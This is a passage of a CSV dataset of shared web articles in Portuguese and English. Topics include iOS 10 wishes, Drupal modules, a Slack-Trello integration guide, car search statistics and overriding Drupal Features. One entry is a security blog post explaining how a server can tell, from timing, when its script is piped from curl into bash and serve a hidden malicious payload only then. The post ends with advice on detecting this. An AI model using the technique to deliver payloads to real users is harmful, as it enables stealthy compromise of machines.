novidades para vocês.",pt
1461172599,CONTENT SHARED,-2220859822082318562,-2623844842607044962,6736993170665424602,,,,HTML,http://blogdoiphone.com/2016/04/conceito-ios-10/,Conceito mostra ideias que adoraríamos ver no futuro iOS 10,"O iOS 10 já tem data para ser apresentado: dia 13 de junho, na abertura da WWDC . Dificilmente informações sobre ele são vazadas antes do tempo, então é provável que teremos que esperar para ver o que a Apple está preparando para nós. Mas sonhar não custa nada e é isso que fez Federico Viticci, do site MacStories , fez. Chamou um designer que o ajudou a colocar em gráficos e vídeo o que ele imaginou, e reuniu tudo o que ele acha que deveria vir no novo sistema do iPhone e do iPad. Confira abaixo o vídeo (em inglês) e depois as nossas explicações. Central de Controle customizável Este é um desejo antigo dos usuários: poder incluir e excluir funções dos Ajustes no painel inferior do sistema. Além disso, atalhos nos botões da Central, parecido ao que já vimos aqui. Modo Escuro no Sistema Há quem goste de tons mais escuros na tela, então por que não disponibilizar um ""modo escuro"", que deixaria todo o sistema e aplicativos com tela preta. Nos Ajustes há uma função que faz algo parecido ( Ajustes > Geral > Acessibilidade > Inverter Cores ), mas inverte exatamente tudo, até fotos e imagens, o que é ruim. No Dark Mode a coisa seria feita da maneira certa. Mais atalhos no sistema No aplicativo Mensagens, um atalho para os Emoji facilitariam a procura da expressão exata que você precisar na hora. Eu mesmo demoro muito para achar o Emoji que quero. Sempre. Previsualização de links nas Mensagens Outros mensageiros, como o WhatsApp, já possuem isso. Você envia um link para um site ou um vídeo e ele já cria uma prévia visual antes mesmo de você clicar. Seria muito legal se a Apple adotasse isso. Uma sugestão minha, que não está no vídeo: possibilidade de editar fotos e imagens direto no aplicativo Mensagens, antes de enviar. Até o WhatsApp já tem isso, Apple. Melhor gerenciamento de arquivos Ainda não é muito intuitivo o gerenciamento de documentos e arquivos no iOS. O iCloud Drive prometia resolver isso, mas muitos ainda ficam confusos, principalmente ao baixar arquivos. Melhoria da multitarefa no iPad Uma das grandes novidades do iOS 9 foi a possibilidade de dividir a tela do iPad e usar dois aplicativos ao mesmo tempo. Mas está na hora disso evoluir. Por exemplo, poder arrastar elementos e seleções de um aplicativo a outro. Outra boa sugestão do vídeo é melhorar a forma de selecionar aplicativos no Slide Over . É uma tortura quando você tem dezenas de aplicativos, ter que escolher deslizando uma imensa e interminável coluna. Siri API Resumindo em uma forma nada técnica, API é uma maneira de desenvolvedores incorporarem em seus aplicativos alguma função ou serviço. Hoje, os apps não podem usar a Siri e ela só faz aquilo que a Apple deixa. A sugestão do vídeo é permitir que a assistente virtual tenha mais integração com os aplicativos de terceiros, o que nos permitiria fazer diversas coisas que hoje só são possíveis nos apps nativos do iOS. Enfim, o conceito ficou lindo e nos enche de esperanças para saber o que virá no novo iOS 10. Nós aqui estaremos de olho e traremos todas as novidades para vocês.",pt
1461172640,CONTENT REMOVED,-2220859822082318562,-2623844842607044962,6736993170665424602,,,,HTML,http://blogdoiphone.com/2016/04/conceito-ios-10/,Conceito mostra ideias que adoraríamos ver no futuro iOS 10,"O iOS 10 já tem data para ser apresentado: dia 13 de junho, na abertura da WWDC . Dificilmente informações sobre ele são vazadas antes do tempo, então é provável que teremos que esperar para ver o que a Apple está preparando para nós. Mas sonhar não custa nada e é isso que fez Federico Viticci, do site MacStories , fez. Chamou um designer que o ajudou a colocar em gráficos e vídeo o que ele imaginou, e reuniu tudo o que ele acha que deveria vir no novo sistema do iPhone e do iPad. Confira abaixo o vídeo (em inglês) e depois as nossas explicações. Central de Controle customizável Este é um desejo antigo dos usuários: poder incluir e excluir funções dos Ajustes no painel inferior do sistema. Além disso, atalhos nos botões da Central, parecido ao que já vimos aqui. Modo Escuro no Sistema Há quem goste de tons mais escuros na tela, então por que não disponibilizar um ""modo escuro"", que deixaria todo o sistema e aplicativos com tela preta. Nos Ajustes há uma função que faz algo parecido ( Ajustes > Geral > Acessibilidade > Inverter Cores ), mas inverte exatamente tudo, até fotos e imagens, o que é ruim. No Dark Mode a coisa seria feita da maneira certa. Mais atalhos no sistema No aplicativo Mensagens, um atalho para os Emoji facilitariam a procura da expressão exata que você precisar na hora. Eu mesmo demoro muito para achar o Emoji que quero. Sempre. Previsualização de links nas Mensagens Outros mensageiros, como o WhatsApp, já possuem isso. Você envia um link para um site ou um vídeo e ele já cria uma prévia visual antes mesmo de você clicar. Seria muito legal se a Apple adotasse isso. Uma sugestão minha, que não está no vídeo: possibilidade de editar fotos e imagens direto no aplicativo Mensagens, antes de enviar. Até o WhatsApp já tem isso, Apple. Melhor gerenciamento de arquivos Ainda não é muito intuitivo o gerenciamento de documentos e arquivos no iOS. O iCloud Drive prometia resolver isso, mas muitos ainda ficam confusos, principalmente ao baixar arquivos. Melhoria da multitarefa no iPad Uma das grandes novidades do iOS 9 foi a possibilidade de dividir a tela do iPad e usar dois aplicativos ao mesmo tempo. Mas está na hora disso evoluir. Por exemplo, poder arrastar elementos e seleções de um aplicativo a outro. Outra boa sugestão do vídeo é melhorar a forma de selecionar aplicativos no Slide Over . É uma tortura quando você tem dezenas de aplicativos, ter que escolher deslizando uma imensa e interminável coluna. Siri API Resumindo em uma forma nada técnica, API é uma maneira de desenvolvedores incorporarem em seus aplicativos alguma função ou serviço. Hoje, os apps não podem usar a Siri e ela só faz aquilo que a Apple deixa. A sugestão do vídeo é permitir que a assistente virtual tenha mais integração com os aplicativos de terceiros, o que nos permitiria fazer diversas coisas que hoje só são possíveis nos apps nativos do iOS. Enfim, o conceito ficou lindo e nos enche de esperanças para saber o que virá no novo iOS 10. Nós aqui estaremos de olho e traremos todas as novidades para vocês.",pt
1461172775,CONTENT SHARED,-2667874153709252756,-7456488753754080246,-1305335358855337822,,,,HTML,http://criticalhits.com.br/copel-faz-propaganda-genial-sobre-o-limite-de-banda-larga-residencial/,Copel faz propaganda genial sobre o Limite de Banda Larga residencial - Critical Hits,"A Copel é uma das poucas provedoras de internet que não aderiu ao limite de dados para planos de internet no Brasil. A empresa costuma ser muito elogiada nas redes sociais (como a GVT já foi um dia no passado), principalmente quando a fibra da empresa chega nos bairros desses usuários. Como a empresa não adotou o limite de dados para internet, nada mais justo do que capitalizar um pouco de pontos com o consumidor por ter feito isso, não é mesmo? Pois foi exatamente isso o que a companhia fez ao liberar algumas peças publicitárias que demonstram exatamente como está a situação atual do mercado: Sensacionais, não? Ainda tem mais três propagandas de televisão/Youtube que também ficaram muito boas: É uma pena não ter Copel no Rio Grande do Sul, amigos. Torne-se um patrão do site! Você sabia que ao tornar-se um patrão do Critical Hits, você ajuda o site a continuar crescendo e ainda ganha vantagens exclusivas como acesso a um design mais clean sem propagandas, Critical Cast 5 dias antes de todo mundo e acesso ao nosso grupo secreto no Facebook/Whatsapp? Torne-se já um patrão você também! Você já ouviu o Critical Cast dessa semana? Agora que você ouviu o cast e nos amou, vote já no Critical Cast para melhor Podcast do Brasil !",pt
1461174123,CONTENT SHARED,7933362470375280252,-2979881261169775358,-1044061448394754834,,,,HTML,https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/,"Detecting the use of ""curl | bash"" server side","Published on by Installing software by piping from curl to bash is obviously a bad idea and a knowledgable user will most likely check the content first. So wouldn't it be great if a malicious payload would only render when piped to bash? A few people have tried this before by checking for the curl user agent which is by no means fail safe - the user may simply curl the url on the commandline revealing your malicious code. Luckily the behaviour of curl (and wget) changes subtely when piped into bash. This allows an attacker to present two different versions of their script depending on the context :) Its not that the HTTP requests from curl when piped to bash look any different than those piped to stdout, in fact for all intents and purposes they are identical: # curl -vv * Hostname was NOT found in DNS cache * Trying 69.28.82.189... * Connected to xqi.cc (69.28.82.189) port 80 (#0) > GET /setup.sh HTTP/1.1 > User-Agent: curl/7.35.0 > Host: xqi.cc > Accept: */* > The key difference is in time it takes for the contents of large http responses to be ingested by bash. Passive detection using a short delay Execution in bash is performed line by line and so the speed that bash can ingest data is limited by the speed of execution of the script. This means if we return a sleep at the start of our script the TCP send stream will pause while we wait for the sleep to execute. This pause can be detected and used to render different content streams. Unfortuneatly its not just a simple case of wrapping a socket.send(""sleep 10"") in a timer and waiting for a send call to block. The send and receive TCP streams in linux are buffered on a per socket basis, so we have to fill up these buffers before the call to send data will block. We know the buffer is full when the receiving client to replies to a packet with the Window Size flag set to 0 ( Win=0 in wireshark ). Filling the TCP buffers To detect a pause in execution we need to fill all the buffers before the pipe to bash. The flow of data from the HTTP response looks like this: Both the send and receive buffer sizes on linux are ""auto tuned"" per socket, this means their size can vary (check /proc/sys/net/ipv4/tcp_rmem and /proc/sys/net/ipv4/tcp_wmem to see just how much). We can control the send buffer as its on the server side but we can't do anything about the receive buffer. By fixing the size of the send buffer we can reduce the overal variance in the amount of data we need to send before we receive a window size of 0 from the client. A smaller fixed sized send buffer helps to prevent the TCP receive buffer from growing. The bufer size can be set like so (87380 is the default for Ubunty 14.04 LTS) When tested with Ubuntu you need to send about 1mb of data to fill up the receive buffer - remove the restriction on the send buffer and this easily doubles. The question is what to fill the TCP buffer up with as a curl request without a pipe to bash will render in the console. Hiding data from the terminal The only character you can really use to fill the buffer is a null byte as it won't render in most consoles. It also wont render in chrome when the charset text/html is specified. As we dont know the content-length data is transfered with chunked encoding with each chunk being a string of null bytes same size as the TCP send buffer. In the end we have an HTTP server that generates responses looking like this: Detecting bash If you chart the time between each chunk is sent and do this for both scenarios it becomes easy to determine which outputs were piped through bash. For curl | bash you can see a clear jump of just under 10 seconds when the sleep command is executed (the exact location varies according to the size of the tcp receive buffer on the client side). This works well and as long as the connection between the server and the client are stable you could happily reduce the sleep command to less than a second, you can also disguise the delay as another slow command (ping, find etc..). The exact time the command takes to run doesn't matter as long as the server is able to detect a sudden jump in the cumulative transmission time. This distinctive pattern can be identified by taking the differences in times between chunk transmissions, finding the maximum value, removing it from the list, calculating the varience of the remaining data and ensuring that the both the varience is low (this implies a stable connection) and the maximum difference is high. If this pattern is identified you can send another http chunk containing your malicious script. Demo Putting everything together and you end up with a small python based server that can deliver different payloads based on what the content is piped to (this also works with "" wget -o /dev/null -O - ""). If for some reason the connection is unreliable (the variance is high) or you request the file via a browser the non-malicious payload will display: Download source code Detecting a server detecting curl | bash So how do you detect if a server is doing this? If the detection is done via a simple delay then you could try either looking for large scripts containing lots of padding or do: However, this is by no means fool proof as an attacker can use other methods (e.g. http/dns callbacks) or set multiple passive delays. The better solution is never to pipe untrusted data streams into bash. If you still want to run untrusted bash scripts a better approach is to pipe the contents of URL into a file, review the contents on disk and only then execute it.",en
1461174649,CONTENT SHARED,-3653998742295730637,3891637997717104548,-7692525206014036535,,,,HTML,https://www.drupal.org/project/panels,Panels,"An Overview of Panels The Panels module allows a site administrator to create customized layouts for multiple uses. At its core it is a drag and drop content manager that lets you visually design a layout and place content within that layout. Integration with other systems allows you to create nodes that use this, landing pages that use this, and even override system pages such as taxonomy and the node page so that you can customize the layout of your site with very fine grained permissions. Integration with CTools module Panels 3 utilizes the CTools ' system of ""context"" so that the content you place on the page can be aware of what is being displayed. For example, in the existing Drupal setup, a block has no real knowledge of what the primary page is displaying. There are all kinds of tricks and tools you can use to get information to the blocks, but this generally means writing PHP code to scan the URL and pull the data out, which is not a very good thing when that data should already exist. Panels uses Contexts - What are they? In a Panel, you can create contexts, which represent the objects being displayed. For example, when displaying the node view, NID argument on the page is converted into a context through the 'arguments' system. You can then create a relationship from that node to, say, the node author, or if you a node via entityreference. Once the contexts are in place, content specifically about those contexts can be placed. In addition, these contexts can be checked for information and use that not only to make content available to be displayed, but to choose which layout to display! For example, if your site is international, you can use context to see if the node being viewed is set for a particular language and choose to display it one way if it is in French or another way if it is in English. You can also select on attributes like node type, whether or not the user has access to edit the node, and more. This system is also pluggable and you can add your own custom criteria with only a small amount of code. Want to display nodes differently based on how a custom field you've added to a node type is set? That is very simple to write and you can use this to change the presentation entirely. Panels also includes simpler applications of the drag and drop system. There is a node type (the 'panel' node) that can simply be added as content to your system. By being a node it loses a lot of the features that the more powerful page system has, but it does have the advantage of simplicity, and gaining all of the functionality that nodes normally get. Panels can also be used for items smaller than pages. What if you have a normal sidebar, and you have two pieces of content that waste a bunch of space because they're really too narrow, and your design looks significantly better if they are side by side? That's complex to do in Drupal because what you end up having to do is create a custom block with custom code to display these two pieces of content. With Panels, you just create a ""mini-panel"" with a two column layout. Add one block to the left, one block to the right, and finish. This mini panel will then be available to your system as an ordinary block, or as panel content to go in the other panels. Other Features of Panels Panels supports styles, which can control how individual content panes, regions within a panel, and the entire panel will be rendered. While Panels ships with few styles, styles can be provided as plugins by modules, as well as by themes! The layout builder is nice for visually designing a layout, but a real HTML guru doesn't want the somewhat weighty HTML that this will create. Modules and themes can provide custom layouts that can fit a designer's exacting specifications, but still allow the site builder to place content wherever you like. Panels includes a pluggable caching mechanism. A single cache type is included, the 'simple' cache which is time-based. Since most sites have very specific caching needs based upon the content and traffic patterns, this system was designed to let sites that need to devise their own triggers for cache clearing and implement plugins that will work with Panels. Panels can be cached as a whole, meaning the entire output of the panel can be cached, or individual content panes that are heavy can be cached. Panels can be integrated with Organic Groups through the og_panels module to allow individual groups to have their own customized layouts. Panels integrates with Views to allow administrators to add any view as content. Or, for uses where the layout editor needs more tightly controlled content, Views can be given custom displays to provide only what the site administrator wants the panels builder to use. Known Issues There's a text file inside of the panels module called known issues . Please read it. Thoroughly. Status of Panels Panels in Drupal 7 Panels 7.x-3.0 is now at a stable release. It is feature complete and seems to be working very well. It is currently in need of stronger documentation. This will be going into the advanced help system over the next few months as time permits. Contributions to the documentation are welcome. New releases will occur based on the amount of RTBC issues in the queue. We hope to get 2 releases a year. Panels in Drupal 8 We're actively working on Panels for Drupal 8 which works with the new layout_plugin module and mainly is an interface to configure and store these layouts. Since content panes are now blocks, most of that functionality from D7 has been moved into core, ctools, or other modules. IPE is in alpha, and panelizer uses the storage system in Panels for d8. If you're interested in following the Drupal 8 port in detail, follow #2169319: [meta] Drupal 8 port of Panels in the issue queue OR join us on IRC every Tuesday at 12 noon CDT (UCT-0500) in the #drupal-scotch channel for our weekly meetings.",en
1461174674,CONTENT SHARED,186710613029854965,3891637997717104548,-7692525206014036535,,,,HTML,https://www.drupal.org/project/features,Features,The features module enables the capture and management of features in Drupal. A feature is a collection of Drupal entities which taken together satisfy a certain use-case. Features provides a UI and API for taking different site building components from modules with exportables and bundling them together in a single feature module.,en
1461174712,CONTENT SHARED,-7780475830807410936,3891637997717104548,-7692525206014036535,,,,HTML,https://www.drupal.org/project/xmlsitemap,XML sitemap,"The XML sitemap module creates a sitemap that conforms to the sitemaps.org specification. This helps search engines to more intelligently crawl a website and keep their results up to date. The sitemap created by the module can be automatically submitted to Ask, Google, Bing (formerly Windows Live Search), and Yahoo!",en
1461174731,CONTENT SHARED,-1853084798056642222,3891637997717104548,-7692525206014036535,,,,HTML,https://www.drupal.org/project/memcache,Memcache API and Integration ,Features This module provides integration between Drupal and Memcached with the following features: An API for using Memcached and the PECL Memcache or Memcached libraries with Drupal. Memcache backends for the following systems (all drop-in): Caching (memcache.inc) Locking (memcache-lock.inc) Sessions (memcache-session.inc) (D6 only) A module that provides a comprehensive administrative overview of Drupal's interaction with Memcached and stats.,en
1461174801,CONTENT SHARED,1681163606115593313,3891637997717104548,-7692525206014036535,,,,HTML,https://www.drupal.org/project/encrypt,Encrypt,"Encrypt is a Drupal module that provides an application programming interface (API) for performing two-way data encryption. It allows modules to encrypt data such that it can be decrypted using the same key that was used to encrypt the data. This is useful for storing sensitive information. There is no native way to do two-way encryption in Drupal. There is also not a very standard way of performing encryption in PHP without extensions. This module aims to make it easy for other modules to keep data secured in an extensible way that does not inherently require any other dependencies. Use This module is an API that other modules can use to encrypt data. It doesn't provide any user-facing features of its own, aside from administration pages to manage configuration. At its core, Encrypt provides two functions, encrypt() and decrypt(): // Encrypt data. $encrypted_text = encrypt('some string to encrypt'); // Decrypt data. decrypt($encrypted_text); Configurations Encrypt allows multiple configurations to be managed within a Drupal site. Each configuration contains an encryption method and a key provider, along with any additional settings that the method or provider requires. Encryption Methods The module is bundled with three encryption methods: Mcrypt AES (CBC Mode): Uses Mcrypt and AES in CBC mode, with HMAC authentication; the key must be 16, 24, or 32 bytes. PHP Secure Communications Library: This method uses the phpseclib PHP extension version 0.3.5 and is only recommended if Mcrypt is not available. None: This uses no encryption and is only useful for testing. Deprecated Encryption Methods The following encryption methods were deprecated starting with version 7.x-2.2. Data encrypted with these methods can still be decrypted, but they are not available to use when encrypting new data. Basic: A simple mathematical method that does not require any PHP extensions. Mcrypt AES 256: A method that uses Mcrypt and Rijndael for the cipher. Other modules can provide additional encryption methods via CTools plugin definitions. Key Providers The module is bundled with two key providers: Variable: Uses a configuration variable, preferably defined in the site's settings.php file. File: Uses a file, preferably located outside of the web root directory. Deprecated Key Provider The following key provider was deprecated starting with version 7.x-2.2. Data encrypted with this provider can still be decrypted, but it is not available to use when encrypting new data. Drupal Private Key: Uses Drupal's private key from the database. Other modules can provide additional key providers via CTools plugin definitions. Storing the Encrypted Data It is up to the module calling encrypt() to manage and store the encrypted data. The chosen method of encryption and key provider are returned with the encrypted results, meaning that, even if method or key settings are changed for the site, previously encrypted data can still be decrypted. Installation Download and enable the Encrypt module in the usual fashion. On installation, a default configuration is created using Basic as the encryption method and Drupal Private Key as the key provider. Upgrading From a Prior Version If the module is upgraded from a prior version (before configurations were added), the previously selected settings will be used to create the default configuration. The process should be seamless, but it is highly recommended to do a full backup before upgrading. If you want to be extra cautious, decrypt all data, upgrade, then re-encrypt. Be sure to run update.php immediately after upgrading. Creating Additional Encryption Methods or Key Providers In version 7.x-2.x, encryption methods and key providers are CTools plugin types. Creating your own method or provider that can be used by the Encrypt API is as simple as defining a new CTools plugin. Instructions are included in the help files included with the module. Modules That Use the Encrypt API Similar Modules See a comparison of encryption modules . Obfuscation versus Security It should be noted the difference between obfuscation [1] and security . It is important to understand how security is at work and where the points of failure are. By default, this module uses a key that is stored in your database while the main use of this module is to store encrypted data in the database. This is actually just an example of obfuscation because if the database itself is compromised all the necessary parts are available to retrieve that data (even if it requires more effort to do that). When you put your key outside the webroot, the encrypted text and key are now in two distinct parts of the system which will have a lot less likelihood of being compromised at the same time. It is still important to know that this module does not make your data completely secure from being decrypted since a dedicated attacker could try to use brute force to decrypt the information. The module does allow a level of security that Drupal does not inherently provide and in fact there are many levels that need to be thought about to have fully secure data. Encrypt Form API The Encrypt Form API module, which adds an '#encrypt' property as a Form API element, was part of the Encrypt module, but as of July 5, 2014, it has been removed from the 7.x-2.x release and moved into its own project. Roadmap and maintenance The 7.x-2.3 release is the current recommended release for Encrypt. Submit any bugs or requests in the issue queue. The 7.x-1.x branch is no longer supported. The 6.x-1.x branch is in ""maintenance mode.""",en
1461174817,CONTENT SHARED,-7259527987837041658,3891637997717104548,-7692525206014036535,,,,HTML,https://www.drupal.org/project/search_api,Search API,"This module provides a framework for easily creating searches on any entity known to Drupal, using any kind of search engine. For site administrators, it is a great alternative to other search solutions, since it already incorporates facetting support and the ability to use the Views module for displaying search results, filters, etc.",en
1461174850,CONTENT SHARED,972258375127367383,3891637997717104548,-7692525206014036535,,,,HTML,https://www.drupal.org/project/better_exposed_filters,Better Exposed Filters ,"The Better Exposed Filters module replaces the Views' default single- or multi-select boxes with radio buttons or checkboxes, respectively. Description fields and Select All/None links can be added to exposed filters to make for a better user experience. Views Filters is a powerful tool to refine the results returned by a given view.",en
1461174867,CONTENT SHARED,8801504303517439478,3891637997717104548,-7692525206014036535,,,,HTML,https://www.drupal.org/project/services,Services ,"A standardized solution for building API's so that external clients can communicate with Drupal. Out of the box it aims to support anything Drupal Core supports and provides a code level API for other modules to expose their features and functionality. It provide Drupal plugins that allow others to create their own authentication mechanisms, request formats, and response formats.",en
1461174881,CONTENT SHARED,-4024233104105796278,3891637997717104548,-7692525206014036535,,,,HTML,https://www.drupal.org/project/password_policy,Password Policy,This module provides a way to enforce restrictions on user passwords by defining password policies. Overview A password policy can be defined with a set of constraints which must be met before a user password change will be accepted. Each constraint has a parameter allowing for the minimum number of valid conditions which must be met before the constraint is satisfied.,en
1461174897,CONTENT SHARED,-582471538642477927,3891637997717104548,-7692525206014036535,,,,HTML,https://www.drupal.org/project/authcache,Authenticated User Page Caching (Authcache),"The Authcache module offers page caching for both anonymous users and logged-in authenticated users. This allows Drupal/PHP to only spend 1-2 milliseconds serving pages, greatly reducing server resources. Please note that enabling authenticated user caching will require modifying how your user-customized content displays on your pages.",en
1461176351,CONTENT SHARED,-4844663695104994694,8656322302973426874,-4027490188270091394,,,,HTML,http://blog.smooch.io/slack-to-trello/,How to create Trello cards from Slack.,"Together, Slack and Trello are a deadly duo - kinda like Jackie Chan and Chris Tucker in the first two Rush Hour movies, but not the third... that movie sucked. I use Trello to organize bi-weekly sprints, squash bugs, and to throw in blog post ideas. Slack brings effective team communication, and it keeps me up-to-date with Trello activity. I would often get ideas for product improvements and blog posts in the middle of a Slack conversation, but I would never take the extra effort to open a browser, log in, and jot them down in a new Trello card. I didn't want to lose my train of thought, or miss out on the big laughs caused by failed ""bender bot image me""s. I had hoped that the good folks over at Trello Inc would have provided a way to create cards straight from Slack, but I was wrong... Don't fret, it is possible to create Trello cards from Slack! You'll just need to use Slash Commands and set up a few things like a backend. Thankfully, I've produced this guide to make it super easy for you. No programming needed, as I've open-sourced the backend code . Did I mention that it'll cost you nothing because you'll be deploying the backend to Heroku? Note that this step-by-step guide was inspired by SEF Industries' blog post , but deploying to Heroku is a million times easier than Google App Engine. Step 1: Get the API Key, App Token, Board ID, and List ID from your Trello account. 1. Your Trello API Key Log into your Trello account, and then visit to reveal your API key. Enter your API Key here: 2. Generate an App Token Access the following URL to generate a new App Token: Once you've allowed slack-to-trello (the backend service you're going to later create on Heroku) to post on your behalf, you'll be given the new App Token. Enter your App Token here: 3. A Trello Board ID You'll need the Board ID of where you want your new cards to be created in. Open a board in Trello, and then make a note of the Board ID that's indicated in the URL. Enter your Board ID here: 4. A Trello List ID Once you've enter in your Board ID, you can then retrieve the IDs for your Lists in that particular Trello Board. Access the following URL to get your List IDs: If successful, you'll see your List IDs like so. We'll only need one of the List IDs for now. Enter a single List ID here: Step 2: Create a backend hosted on Heroku I've opened source code that will allow you host your own backend. The backend securely creates new cards in Trello from Slack. Let's host it on Heroku; it's free and deploying it takes only a minute. Just press this button, , to begin deploying on Heroku (It'll ask you to create a Heroku account if you don't have one already, no credit card needed). You'll then land on this page where you need to enter in your Trello API Key and App Token from Step 1. Once successfully deployed, you can check if your backend is properly running by pressing the ""view"" button. You should see text saying, ""Smooch.io loves Slack and Trello!"" Enter your Heroku URL here: Step 3: Create a new Slash Command in Slack Head over to Slack, and create a new Slash Command . Call it /trello. Use this URL to request when the slash is run: Save and you're ready to roll! Step 4: Try it out The format for the slash command is /trello name | description(optional). Test it out the following: /trello integrate with Smooch | smooch.io is awesome You'll see the new card right away in Trello if successful :) Happy Slacking with Trello! Btw, check out Smooch's Slack integration that lets you talk to your app users, directly from Slack.",en
1461177493,CONTENT SHARED,5640834597379907148,4670267857749552625,-1064382979021792687,,,,HTML,http://www.automotivebusiness.com.br/noticia/23817/buscas-online-por-carros-tem-expansao-de-43-no-1o-trimestre,Buscas on-line por carros têm expansão de 43% no 1º trimestre,"Assim como acontece de forma mais intensa em outros setores, o segmento automotivo atrai cada vez mais possíveis clientes no mundo digital . As vendas de veículos são concluídas somente nas concessionárias, mas todo o processo de busca de informação dos consumidores é realizado on-line , segundo o Google. A empresa realizou evento para falar da importância da internet para o mercado automotivo em parceria com a Search Optics, agência especializada em marketing digital. Mensalmente o mecanismo é usado para mais de 200 milhões de buscas por carros no Brasil. O número leva em conta apenas a pesquisa por automóveis, sem incluir peças, acessórios e serviços. Estes outros produtos relacionados ao setor automotivo também são muito consultados na internet, segundo Felipe Ozório, gerente de parcerias do Google. ""No Mercado Livre já encontramos muita compra e venda de peças, por exemplo. Fazer isso de forma profissional, pela própria concessionária, é uma possibilidade a ser analisada."" No primeiro trimestre de 2016 houve aumento de 43% nas pesquisas do setor automotivo na comparação com igual intervalo do ano passado. Ele aponta que, em 44% das buscas, o consumidor muda de opinião sobre o carro que vai comprar ao longo do processo de levantar informações. O especialista aponta que metade das buscas acontece em dispositivos mobile, com aumento de 78% de janeiro a março deste ano. ""Por isso é essencial ter página responsiva"", alerta. Ozório defende que os sites das concessionárias devem trazer os principais dados dos modelos e da loja já na versão mobile. O fácil preenchimento do cadastro ou formulário para receber mais informações também é necessário para o sucesso da estratégia digital dos distribuidores, segundo o gerente do Google. MUDANÇA NO PAPEL DA CONCESSIONÁRIA Em 2013 um consumidor visitava, em média, 3,6 concessionárias antes de comprar seu veículo. Em pouco tempo este número despencou e chegou a apenas 2,6 visitas no ano passado. ""A tendência é essa. Cliente já chega muito pronto e bem-informado. Vai apenas para negociar"", explica Ozório. Segundo o Google, quando o cliente quer saber mais sobre um carro, ele usa primeiro uma ferramenta de busca e depois recorre aos vídeos on-line. O deslocamento até um ponto de venda normalmente só acontece depois disso. Desta maneira, Ozório acredita que ganharão a disputa pelo consumidor as concessionárias que investirem em excelência no atendimento desde o primeiro contato no site. Chat, e-mail e telefone devem estar sempre disponíveis com respostas e soluções para os clientes. ""Nove em cada 10 consumidores tentam entrar em contato com a concessionária antes da visita"", destaca. Ozório alerta que falta cuidado com este aspecto e que, muitas vezes, a experiência do cliente ao tentar um retorno pelas ferramentas on-line é péssima. Em caso de insatisfação, 58% dos consumidores buscam outra revenda. O dado mais alarmante é que, quando a resposta da concessionária não é eficaz, dois em cada três clientes adotam postura mais radical e mudam de marca. Este espaço é destinado aos comentários de leitores sobre reportagens e artigos publicados no Portal Automotive Business. Não é o fórum adequado para o esclarecimento de questões técnicas ou comerciais. Os comentários serão publicados após análise. É obrigatório informar nome e e-mail (que não será divulgado ao público leitor). Não são aceitos textos que contenham ofensas, palavras chulas ou digitados inteiramente em letras maiúsculas. Também serão bloqueados currículos, pedidos de emprego ou comentários que configurem ações comerciais ou publicitárias, incluindo números de telefone ou outras formas de contato.",pt
1461179960,CONTENT SHARED,3756874058845999993,8354413736311351349,2247553744246004374,,,,HTML,https://www.phase2technology.com/blog/how-to-override-features/,How to Override Features,"The Features module helps address the shortcoming in Drupal 7 of how to manage and deploy site configuration data. There are times when you need to change a Feature. The Features Override module can help with this, but sometimes doesn't solve the problem completely. In this article I will discuss all the different ways to override your Features and the common problems associated with that. While this has been an issue for years, it's become more common recently with the advent of Distributions such as Open Atrium and Panopoly which heavily use Features and which expect the users to upgrade to new versions. Maintaining your site customizations when upgrading a distribution using Features Override has become a more common need. The Problem How do I override configuration from an existing Feature within my site-specific project? Solutions Cloning the base module (not recommended) If you need to make extensive changes you might need to clone the base module and then customize it. Disable the original module, uninstall it, then enable your site-specific module. You have full control over all aspects of the original module. Keeps the overrides nicely separate in their own modules that can be enabled/disabled/deployed. The original Features will never be shown ""overridden"" (because the original is uninstalled!) Any future bug fixes, improvements, updates to the original module will not be available. Since future security patches to the original module won't be available, this might add a security risk to the project or force maintainers to monitor the original module for updates and apply them to the cloned version. Using settings.php If you just need to change a variable (from variable_get) you can do this via the $conf[] array in your site settings.php file. This method is typically used for environment-specific settings, such as databases, search servers, caching settings, etc. You can also set the $conf[] array within a custom module if you need to deploy the change across all your environment. Avoid using variable_set() to change the variable since that will update the database directly as mentioned below. The original feature containing the variable (via Strongarm) won't be marked as ""overridden"" Only works for Variables (Strongarm Features) settings.php not typically part of the code repo, so need to ensure it is version controlled some other way. Sometimes developers forget to check settings.php for variable overrides, making ongoing support tricky. Best for Environment variables rather than for any generic Drupal variable. Update the Database directly You can create an update hook, or other Drupal hook (hook_enable, hook_install) and update the database directly via SQL or other API functions. For variables you can use variable_set() to save the new value to the database. This is only recommended as the last resort for configuration not supported by Features Override. If you must update the database directly, be sure to only do it once and not in a hook such as hook_init that runs with each page load. Updating the database on each page load can kill the performance of your site. With variable_set() you can do this by first calling variable_get() and only saving the value if it needs to be changed. Sometimes it's the only way. Can keep the overrides separate in their own modules Only applies specific changes and allows future updates to the base Feature to be used. Reverting the base feature will change the database back to it's original value, forcing you to re-run whatever SQL is needed to override it. Can be alleviated by Locking the original base Feature to prevent any reverts. If the original feature is locked, future bug fixes or improvements might not be available. The original feature will always be marked as ""overridden"". Some configuration is not stored in the DB, such as Views (or other ctools-based components like Panels) that exist purely in code. Implement an ""alter hook"" in code Most configuration has some sort of ""alter"" hook that allows it to be modified after it is loaded from the database. For example, Views calls hook_views_default_views_alter(&$data) to allow you to change any part of a view, whether that view comes from the DB or is in code. You can create a custom module that implements the desired alter hooks and override the data directly. Base Feature will not be marked as ""overridden"". Keeps the overrides nicely separate in their own modules that can be enabled/disabled/deployed. Only applies specific changes and allows future updates to the base Feature to be used. Not all configuration has the needed hooks. Each component has a different hook name and different data structure to modify. Use Features Overrides module Similar to the above ""Implement alter hook"" the Features Override module is designed to create the alter hook implementations for you and export those as new Features modules that you can enable, disable, deploy. Base Feature will not be marked as ""overridden"". Keeps the overrides nicely separate in their own modules. Only applies specific changes and allows future updates to the base Feature to be used. Features Overrides does the work of figuring out which alter hooks can be used and how to override the data. Provides a UI for inspecting overrides. Allows an entire component to be altered (e.g. entire view), or just a single change (e.g. just the title of a view) Works properly with Features. An Override is just another Feature module on the site. Not all configuration has the needed hooks. Can be tricky to ""override an override"". Typical Problems Feature is stuck at being ""overridden"" The most common difficulty is a base Feature marked as ""overridden"" that does not go away when the feature is reverted. ""Overridden"" simply means that the value of the configuration stored in the DB is different from what is stored in the exported Feature code file. Features literally re-generates the feature export internally from the DB and compares the code with what is stored on disk. Doing a ""drush fd featurename"" simply shows the code diff between the code stored on disk (shown in red) with the code generated from the current database (shown in green). To determine if a Feature is overridden, Features actually takes the generated code, sanitizes it, sorts it, executes it, and then does an md5 checksum on it. If the two checksum values are different, the Feature is marked as 